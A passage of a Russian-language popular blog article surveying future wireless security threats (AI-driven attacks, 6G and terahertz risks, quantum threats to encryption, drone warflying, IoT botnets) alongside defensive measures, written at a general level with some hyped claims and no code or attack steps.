● Атаки типа "человек посередине" (MITM) на основе машинного обучения: ИИ может автоматически анализировать шаблоны сетевого трафика для выявления ценных данных.
● Автоматизированные несанкционированные точки доступа: представьте себе атаку "Злой двойник" под управлением ИИ, которая адаптируется в реальном времени, имитируя поведение вашей сети.
ИИ-защита дает отпор
● Системы обнаружения вторжений в беспроводные сети (WIDS) на основе ИИ: могут обнаруживать аномалии в поведении сети до того, как их заметит человек.
● Самовосстанавливающиеся сети: представьте себе систему, которая обнаруживает атаки и автоматически перенастраивается для обеспечения безопасности.
● Поведенческая аутентификация: ИИ может изучать, как вы подключаетесь и перемещаетесь по сетям, блокируя злоумышленников, даже если они украдут ваши учетные данные.
🚀 Вывод: ИИ становится главным инструментом хакера и лучшим оружием защиты - победит тот, кто владеет им лучше.

2. Рост рисков безопасности 6G и терагерцовых беспроводных сетей
В то время как большинство людей все еще обновляются до Wi-Fi 6E и 5G, исследователи уже работают над 6G и терагерцовой (ТГц) связью. Эти сверхвысокочастотные диапазоны (100 ГГц-1 ТГц) обещают безумные скорости и почти нулевую задержку, но они также открывают новые поверхности для атак:
● Прослушивание на новом уровне: ТГц-сигналы могут быть перехвачены с большего расстояния с лучшей точностью.
● Новые методы глушения: Поскольку сигналы 6G полагаются на сверхточную формирования луча, злоумышленники могут нарушить соединения с помощью целенаправленных помех.
● Подмена устройств: По мере расширения Интернета вещей (IoT) хакеры могут манипулировать инфраструктурой умного города, используя уязвимости 6G.
🚀 Вывод: Если вы думали, что взлом Wi-Fi - это плохо, подождите, пока злоумышленники начнут перехватывать трафик 6G с расстояния мили.

3. Квантовые вычисления против шифрования беспроводных сетей
Мы все любим WPA3, SAE и другие модные протоколы шифрования, но давайте будем честны: как только квантовые компьютеры станут мейнстримом, они разорвут текущее шифрование, как бумагу.

Почему квантовые компьютеры представляют угрозу

● Квантовые алгоритмы, такие как алгоритм Шора, могут взломать шифрование RSA, ECC и Diffie-Hellman - кошмар для безопасности Wi-Fi.
● WPA3 и AES-256 пока сильны, но квантовые атаки методом перебора могут сделать их устаревшими.
Защита: Постквантовая криптография (PQC)
● Правительства и технологические компании соревнуются в разработке квантово-устойчивого шифрования (например, криптографии на основе решеток).
● Протоколы Wi-Fi должны будут развиваться для поддержки методов аутентификации, устойчивых к квантовым атакам.
🚀 Вывод: Пароль Wi-Fi, который вы установили сегодня, может быть взломан квантовыми компьютерами в следующем десятилетии. Пора начать готовиться к будущему.

4. Взлом Wi-Fi с помощью дронов и Warflying
Хакеры больше не сидят просто в припаркованных машинах возле зданий, чтобы украсть Wi-Fi. Нет, теперь они используют дроны.

Как хакеры используют дроны

● WarFlying: злоумышленники оснащают дроны инструментами для перехвата Wi-Fi (например, Pineapple) и летают над зданиями, чтобы захватывать сетевой трафик и учетные данные.
● Инжекция сигналов: дроны могут размещать несанкционированные точки доступа на крышах, обманывая пользователей, заставляя их подключаться к вредоносным сетям.
● Эксплуатация Bluetooth и РЧ: дроны сканируют уязвимости устройств Bluetooth и IoT с воздуха.
Как защититься от атак с использованием дронов
● Направленные антенны и мониторинг сигналов могут помочь обнаружить несанкционированную воздушную активность.
● Геозонирование ваших сигналов Wi-Fi для ограничения радиуса действия за пределами вашей территории.
● Будущие меры безопасности против дронов (РЧ-глушение, обнаружение дронов на основе ИИ).
🚀 Вывод: взлом Wi-Fi - это больше не проблема "парня в фургоне", это проблема "злоумышленника в небе".

5. Кошмары безопасности IoT: миллиарды уязвимостей
Миллиарды устройств, к 2030 году ожидается более 75 миллиардов подключенных устройств IoT - от умных холодильников до кардиостимуляторов. И угадайте что? Большинство из них плохо защищены.

Что может пойти не так?

● IoT-ботнеты на стероидах - Mirai было только началом. Будущие ботнеты могут использовать червей на основе ИИ для мгновенного распространения по сетям умного дома.
● Захват умного дома - слабая безопасность IoT означает, что злоумышленники могут управлять вашим термостатом, умными замками или камерами.
● Саботаж промышленного IoT - хакеры нацеливаются на фабрики, электросети и больницы через небезопасные протоколы IoT.

Как мы можем это исправить

● Обязательные стандарты безопасности IoT (правительства наконец-то начинают это понимать).
● Сети с нулевым доверием для IoT - устройства никогда не должны доверять друг другу по умолчанию.
● Более надежное шифрование и безопасность прошивки для смарт-устройств.
🚀 Вывод: Если мы не обеспечим безопасность IoT в ближайшее время, у нас будут холодильники, майнящие Биткойн, и кофеварки, запускающие DDoS-атаки.